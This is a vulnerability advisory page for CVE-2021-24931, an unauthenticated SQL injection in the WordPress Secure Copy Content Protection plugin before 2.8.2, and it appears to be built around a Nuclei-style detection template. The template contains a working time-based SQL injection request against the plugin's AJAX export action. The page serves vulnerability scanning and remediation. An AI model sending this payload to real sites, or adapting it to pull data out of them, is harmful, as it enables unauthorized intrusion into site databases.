SecurityContext

CVE-2021-24931: WordPress Secure Copy Content Protection and Content Locking <2.8.2 - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.78812
  • Epss percentile: 0.99599
  • Cpe: cpe:2.3:a:ays-pro:secure_copy_content_protection_and_content_locking:*:*:*:*:*:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 1
  • Product: secure_copy_content_protection_and_content_locking
  • Vendor: ays-pro
  • Verified: yes

Products

ProductIndexedUrl
ays-pro:secure_copy_content_protection_and_content_lockingyes/v1/products/ays-pro/secure_copy_content_protection_and_content_locking

Labels

  • Name: WordPress Secure Copy Content Protection - SQL Injection
  • Impact: Attackers can access sensitive data, modify site data, or perform unauthorized admin actions, potentially compromising site integrity and confidentiality.
  • Remediation: Update to version 2.8.2 or later.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering, privilege_escalation
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2021-24931
  • Not known: requirements

```yaml

id: CVE-2021-24931

info:

name: WordPress Secure Copy Content Protection and Content Locking <2.8.2 - SQL Injection

author: theamanrawat

severity: critical

description: |

WordPress Secure Copy Content Protection and Content Locking plugin before 2.8.2 contains a SQL injection vulnerability. The plugin does not escape the sccp_id parameter of the ays_sccp_results_export_file AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

impact: |

Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.

remediation: Fixed in version 2.8.2.

reference:

- https://wpscan.com/vulnerability/1cd52d61-af75-43ed-9b99-b46c471c4231

- https://wordpress.org/plugins/secure-copy-content-protection/

- https://nvd.nist.gov/vuln/detail/CVE-2021-24931

- http://packetstormsecurity.com/files/165946/WordPress-Secure-Copy-Content-Protection-And-Content-Locking-2.8.1-SQL-Injection.html

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2021-24931

cwe-id: CWE-89

epss-score: 0.78812

epss-percentile: 0.99599

cpe: cpe:2.3:a:ays-pro:secure_copy_content_protection_and_content_locking:*:*:*:*:*:wordpress:*:*

metadata:

verified: true

max-request: 1

vendor: ays-pro

product: secure_copy_content_protection_and_content_locking

framework: wordpress

tags: time-based-sqli,cve2021,cve,wp-plugin,wp,packetstorm,unauth,wpscan,sqli,wordpress,secure-copy-content-protection,ays-pro,vkev,vuln

http:

- raw:

- |

@timeout: 20s

GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'duration>=6'

- 'status_code == 200'

- 'contains(content_type, "text/html")'

- 'contains(body, "{\"status\":true")'

condition: and

digest: 4b0a00483046022100c548ee36ee0b9e39cdc1bef2ed55b91dc49da4c1d1c67205f38751ddc98dfb23022100d3238034ebcd42dcd359416d0c4f697a6107ec82e2cbfeeb13236a6af30af02c:922c64590222798bb761d5b6d8e72950

```